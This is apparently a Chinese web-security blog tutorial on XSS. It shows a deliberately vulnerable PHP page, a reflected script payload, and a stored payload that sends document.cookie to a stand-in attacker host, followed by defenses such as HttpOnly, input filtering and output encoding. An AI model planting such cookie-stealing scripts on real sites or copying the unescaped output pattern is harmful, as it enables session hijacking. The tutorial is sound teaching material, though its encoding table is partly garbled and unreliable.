XSS攻击的原理


xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

xss攻击主要用户攻击者盗取用户的cookie,由于sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者可以在session的生命周期内,达到获取被攻击用户的用户权限。

xss攻击可以分成两种类型:

  1. 非持久型攻击
  2. 持久型攻击

1.非持久型攻击

顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。

假设有以下页面:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
?>

该页面显示两条信息

  • 从URI获取 'name' 参数,并在页面显示
  • 显示跳转到一条URL的链接

这时,当攻击者给出以下URL链接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:

Welcome guest
<script>
  alert('attacked');//获取用户cookie,并将cookie通过网络传输至攻击者,则攻击者获取了用户权限
</script>
<br>
<a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>

当用户打开该地址后,会弹出“attacked”,攻击者可以在此植入javascript代码,以达到操作用户浏览器的目的

2.持久型攻击

持久型攻击是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

例子如下:A网站为论坛网站,攻击者可以在论坛中发表文章,该文章内包含攻击代码,并保存。

<script>window.open(“www.attacked.com?param=”+document.cookie)</script>

这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时之前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。

XSS攻击的防御


1.HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。

严格的书,HttpOnly并非为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。

某些时候,应用可能需要javascript访问某几项cookie,这种cookie可以不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。

2.输入检查 XSS Filter

常见的XSS攻击都需要攻击者构造一些特殊字符,这些字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查的逻辑,必须放在服务端代码实现。如果只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。

目前的普遍做法是,在服务端代码和客户端代码中实现同样的代码检查逻辑。

互联网上有很多开源的XSS Filter的实现。

3.输出检查

在变量输入到html页面时,对html代码进行HtmlEncode。

为了对抗XSS,在HTMLEncode中要求至少转换以下字符:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     '

/     –>     /

参考:《白帽子讲Web安全》

web安全-XSS攻击及防御的更多相关文章

  1. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. web安全-xss攻击

    web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&amp'); str = str.replac ...

  4. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  5. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  6. MVC WEB安全——XSS攻击防御

    XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...

  7. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  8. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  9. XSS攻击及防御(转)

    add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...

随机推荐

  1. android应用资源预编译,编译和打包全解析

    我们知道,在一个APK文件中,除了有代码文件之外,还有很多资源文件.这些资源文件是通过Android资源打包工具aapt(Android Asset Package Tool)打包到APK文件里面的. ...

  2. WinCE系统声音定制

    作者:ARM-WinCE 2010的第一篇Blog,介绍一下WinCE系统声音的定制.说白了,就是设置注册表.WinCE系统启动的开机音乐,点击触摸屏以及键盘输入的按键音,还有系统运行过程中的各种声音 ...

  3. 那些年Android开发中遇到的坑

    使用静态变量来缓存数据时,不管是在Application类还是其他类,都要注意因应用重建而引发的问题. 使用DecorView作为PopupWindow的anchorView时,在华为P7中它是显示在 ...

  4. linux下如何查询未知库所依赖的包

    经常会遇到linux下安装软件时提示少文件,如何知道所缺少的文件属于哪个包?用什么命令查看? 例如:/lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录 ...

  5. javascript中的instanceof运算符

    instanceof运算符希望左操作数是一个对象,右操作数表示对象的类:如果左侧的对象是右侧类的实例,则返回true,否则返回false.由于js中对象的类是通过初始化它们的构造函数来定义的,因此in ...

  6. C# / VB.NET合并PDF指定页

    在前面的文章中,我们已经知道如何合并.拆分多个PDF文件,在这篇文章中的合并.拆分PDF文档主要是以方便文档管理的目的来操作文档,在文档查阅.管理及存储上很方便实用.但是我们如果想要合并多个文档中的部 ...

  7. C# 如何合并Excel工作表

    文档合并.拆分是实现文档管理的一种有效方式.在工作中,我们可能会遇到需要将多个文档合并的情况,那如何来实现呢,本文将进一步介绍.关于拆分Excel工作表,可参见这篇文章--C#如何拆分EXCEL工作表 ...

  8. ASP.NET Core 2.0 使用NLog实现日志记录

    1.安装NuGet包 1.Install-Package NLog.Web.AspNetCore 2.Install-Package NLog 在csproj中编辑: <PackageRefer ...

  9. python 字典dict类型合并(不能错过哦)

    我要的字典的键值有些是数据库中表的字段名, 但是有些却不是, 我需要把它们整合到一起, 因此有些这篇文章.(非得凑够150个字,我也是没有办法,扯一点昨天的问题吧,话说python中的session就 ...

  10. ionic1 下拉刷新 上拉加载 功能

    html页面如下 <ion-content> <ion-refresher pulling-text="刷新" on-refresh="search() ...